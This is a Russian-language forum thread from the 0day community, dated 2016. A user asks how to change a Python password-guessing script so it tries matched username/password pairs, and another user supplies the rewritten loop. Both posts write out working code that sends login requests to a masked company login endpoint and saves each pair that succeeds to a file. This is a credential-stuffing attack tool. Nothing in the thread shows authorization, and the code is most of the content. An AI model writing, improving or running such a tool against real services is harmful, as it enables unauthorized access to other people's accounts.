Здравствуйте Гость [ Вход | Регистрация ] | Форум в сети 6733-й день

Шановні користувачі! Запрошуємо вас до офіційного телеграм-канала 0day Community. Тут ви зможете поспілкуватися одне з одним та дізнатися про останні новини щодо роботи ресурса, поставити запитання до адміністрації, тощо. Перейти до телеграм-канала можна відсканувавши QR-код або натиснувши на посилання: @zeroday_ua

 Cкрипт на Python, Цикл for % in:

mzk
Oct 30 2016, 20:16
  
Пост #1



Репутация:   83  
Cтаршой
**

Группа: Пользователи
Сообщений: 673
С нами с: 27-February 08


Камрады, немного пен-теста...
Скрипт ниже выполнял свою работу очень долго и правильно.
Но! Пришло время изменить его, но моих знаний недостаточно. Подскажите, как правильно сделать или куда посмореть?
» Нажмите, чтобы показать спойлер - нажмите опять, чтобы скрыть... «

Скрипт пытается подобрать пароль:
User1 - Pass1, Pass2, Pass3... PassN
User2 - Pass1, Pass2, Pass3... PassN

Нужно сделать, чтобы скрипт брал только
User1=Pass1
User2=Pass2
UserN=PassN

Буду очень благодарен за помощь russian_ru.gif
User is offlineProfile CardPM
Go to the top of the page
+Quote Post
 
Reply to this topicStart new topic
Ответов(1 - 2)
GhostKU
Oct 31 2016, 2:14
  
Пост #2

Благодарности: 891

Репутация:   301  
Старожил
****

Группа: Пользователи
Сообщений: 2 167
С нами с: 11-March 06


Вот точное решение вашей задачи http://stackoverflow.com/questions/1663807...allel-in-python

В вашем куске

#Take the parameters and make requests
    for user in users:
        for password in passwords:
            print "Trying  %s : %s" % (user, password)
            url = "https://компания-ко-ко-ко/login.do?action=modify&uid=%s&password=%s&x=0&y=0" %(user, password)
            req = urllib2.Request(url)
            response = urllib2.urlopen(req, context=ctx)
            html = response.read()
#Print and write into a file succesful attempts
            if "Error of authentification." not in html:
                print "Login : Password are  %s : %s" %(user, password)
                pas = open('done.txt','a')
                pas.write('%s : %s \n' %(user,password))
                pas.close()

нужно изменить две строчки определения цикла одной

#Take the parameters and make requests
    for user, password in zip(users, passwords):
        print "Trying  %s : %s" % (user, password)
        url = "https://компания-ко-ко-ко/login.do?action=modify&uid=%s&password=%s&x=0&y=0" %(user, password)
        req = urllib2.Request(url)
        response = urllib2.urlopen(req, context=ctx)
        html = response.read()
#Print and write into a file succesful attempts
        if "Error of authentification." not in html:
            print "Login : Password are  %s : %s" %(user, password)
            pas = open('done.txt','a')
            pas.write('%s : %s \n' %(user,password))
            pas.close()


И не забудьте убрать лишние отступы.
User is offlineProfile CardPM
Go to the top of the page
+Quote Post
mzk
Oct 31 2016, 10:08
  
Пост #3



Репутация:   83  
Cтаршой
**

Группа: Пользователи
Сообщений: 673
С нами с: 27-February 08


Спасибо большое, завертелось-закрутилось! drinks.gif
User is offlineProfile CardPM
Go to the top of the page
+Quote Post

Reply to this topicStart new topic

 



- Упрощённая версия
Сейчас: 20th August 2024 - 17:05
Сайт не розміщує електронні версії творів, а займається лише колекціонуванням та каталогізацією посилань, що публікуються нашими користувачами. Якщо Ви є правовласником якоїсь частини опублікованого матеріалу та не бажаєте, щоб посилання на нього знаходилось в нашому каталозі, зв’яжіться з нами і ми видалимо його. Файли для обміну надані користувачами сайту і адміністрація не несе відповідальності за їх вміст.